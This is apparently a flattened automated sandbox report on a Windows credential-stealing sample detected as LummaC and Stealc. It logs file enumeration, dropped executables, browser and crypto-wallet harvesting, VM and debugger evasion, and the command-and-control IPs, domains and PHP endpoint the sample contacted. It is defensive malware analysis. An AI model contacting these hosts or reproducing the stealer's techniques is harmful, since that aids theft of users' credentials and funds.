Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents\AFWAAFRXKO Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents\AIXACVYBSB Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents\AIXACVYBSB Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents\PSAMNLJHZW Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents\PSAMNLJHZW Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents\AFWAAFRXKO Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents\AFWAAFRXKO Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents\HTAGVDFUIE Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents\HTAGVDFUIE Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents\UOOJJOZIRH Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents\UOOJJOZIRH Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: C:\Users\user\Documents Jump to behavior
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Directory queried: number of queries: 1001
Yara detected Credential Stealer
Source: Yara match File source: Process Memory Space: FBVmDbz2nb.exe PID: 1380, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: FBVmDbz2nb.exe PID: 1380, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Stealc
Source: Yara match File source: 00000004.00000003.1701899059.0000000004D40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.1756467300.0000000000531000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.1758332356.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: RBZFTNPOH3OCI4WNHGK52I3.exe PID: 1524, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1579770 Sample: FBVmDbz2nb.exe Startdate: 23/12/2024 Architecture: WINDOWS Score: 100 22 cuddlyready.xyz 2->22 30 Suricata IDS alerts for network traffic 2->30 32 Found malware configuration 2->32 34 Antivirus / Scanner detection for submitted sample 2->34 38 9 other signatures 2->38 7 FBVmDbz2nb.exe 2 2->7         started        signatures3 36 Performs DNS queries to domains with low reputation 22->36 process4 dnsIp5 24 185.215.113.16, 49777, 80 WHOLESALECONNECTIONSNL Portugal 7->24 26 cuddlyready.xyz 104.21.32.96, 443, 49717, 49723 CLOUDFLARENETUS United States 7->26 18 C:\Users\user\...\RBZFTNPOH3OCI4WNHGK52I3.exe, PE32 7->18 dropped 20 C:\Users\user\...\225E7CNEQKY05J8BSS2KINA.exe, PE32 7->20 dropped 40 Query firmware table information (likely to detect VMs) 7->40 42 Found many strings related to Crypto-Wallets (likely being stolen) 7->42 44 Tries to harvest and steal browser information (history, passwords, etc) 7->44 46 7 other signatures 7->46 12 225E7CNEQKY05J8BSS2KINA.exe 9 1 7->12         started        15 RBZFTNPOH3OCI4WNHGK52I3.exe 13 7->15         started        file6 signatures7 process8 dnsIp9 48 Detected unpacking (changes PE section rights) 12->48 50 Machine Learning detection for dropped file 12->50 52 Modifies windows update settings 12->52 60 7 other signatures 12->60 28 185.215.113.206, 49808, 80 WHOLESALECONNECTIONSNL Portugal 15->28 54 Antivirus detection for dropped file 15->54 56 Tries to detect sandboxes and other dynamic analysis tools (window names) 15->56 58 Tries to evade debugger and weak emulator (self modifying code) 15->58 signatures10
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.215.113.206
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
185.215.113.16
 unknown Portugal
206894 WHOLESALECONNECTIONSNL false
104.21.32.96
 cuddlyready.xyz United States
13335 CLOUDFLARENETUS false

Contacted Domains

Name IP Active
cuddlyready.xyz 104.21.32.96 true
s-part-0035.t-0009.t-msedge.net 13.107.246.63 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
sendypaster.xyz false
    		high
    http://185.215.113.206/ false
      		high
      steppriflej.xyz false
        		high
        smash-boiling.cyou false
          		high
          supporse-comment.cyou false
            		high
            hosue-billowy.cyou false
              		high
              cuddlyready.xyz true
                		unknown
                http://185.215.113.206/c4becf79229cb002.php false
                  		high
                  ripe-blade.cyou false
                    		high
                    greywe-snotty.cyou false
                      		high
                      https://cuddlyready.xyz/api true
                        		unknown
                        pollution-raker.cyou false
                          		high